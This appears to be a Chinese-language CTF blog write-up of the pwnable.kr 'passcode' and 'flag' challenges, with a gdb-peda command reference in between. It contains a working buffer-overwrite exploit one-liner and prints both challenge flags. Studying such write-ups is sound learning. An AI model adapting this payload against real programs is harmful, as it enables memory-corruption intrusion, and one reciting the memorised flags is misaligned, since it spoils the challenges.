[email protected]:~$ python -c “print(‘a’*96+’\x04\xa0\x04\x08\n’+’134514147\n’)” | ./passcode
Toddler’s Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�!
Sorry mom.. I got confused about scanf usage 🙁
enter passcode1 : Now I can safely trust you that you have credential 🙂

所以flag为:

Sorry mom.. I got confused about scanf usage 🙁

gdb peda常用指令

info

查看各种信息:

info file  查看当前文件的信息,例如程序入口点(Entry point)

info break 查看当前断点信息

disassemble+func 对制定的函数进行反汇编

break +”地址” 设置断点

r  等同于“run” 运行程序

c 等同于”continue”,继续执行

x /<n/f/u> <addr>
n、f、u是可选的参数。
  n是一个正整数,表示需要显示的内存单元的个数,也就是说从当前地址向后显示几个内存单元的内容,一个内存单元的大小由后面的u定义。
  f 表示显示的格式,参见下面。如果地址所指的是字符串,那么格式可以是s,如果地址是指令地址,那么格式可以是i。
  u 表示从当前地址往后请求的字节数,如果不指定的话,GDB默认是4个bytes。u参数可以用下面的字符来代替,b表示单字节,h表示双字节,w表示四字 节,g表示八字节。当我们指定了字节长度后,GDB会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。
  <addr>表示一个内存地址。
  注意:严格区分n和u的关系,n表示单元个数,u表示每个单元的大小。
layout:用于分割窗口,可以一边查看代码,一边测试。主要有以下几种用法:
layout src:显示源代码窗口
layout asm:显示汇编窗口
layout regs:显示源代码/汇编和寄存器窗口
layout split:显示源代码和汇编窗口
layout next:显示下一个layout
layout prev:显示上一个layout
Ctrl + L:刷新窗口
Ctrl + x,再按1:单窗口模式,显示一个窗口
Ctrl + x,再按2:双窗口模式,显示两个窗口
Ctrl + x,再按a:回到传统模式,即退出layout,回到执行layout之前的调试窗口。

 

pwnable.kr-flag

题目描述:

Papa brought me a packed present! let’s open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

下载下来之后file一下:

➜ Desktop file flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

64位的ELF,直接拖到IDA里面看看,发现只有三个函数,而且并不能正常打开,目测是加壳了。于是在里面瞎翻,发现了upx的关键字,果断upx -d flag把壳脱了。重新拖进IDA,发现代码很简单:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // [email protected]

  puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
  LODWORD(v3) = malloc(100LL);
  sub_400320(v3, flag);
  return 0;
}

malloc申请了一个100LL的地址,然后把flag复制进去了,直接查看flag的值,发现直接出现flag了:

UPX…? sounds like a delivery service 🙂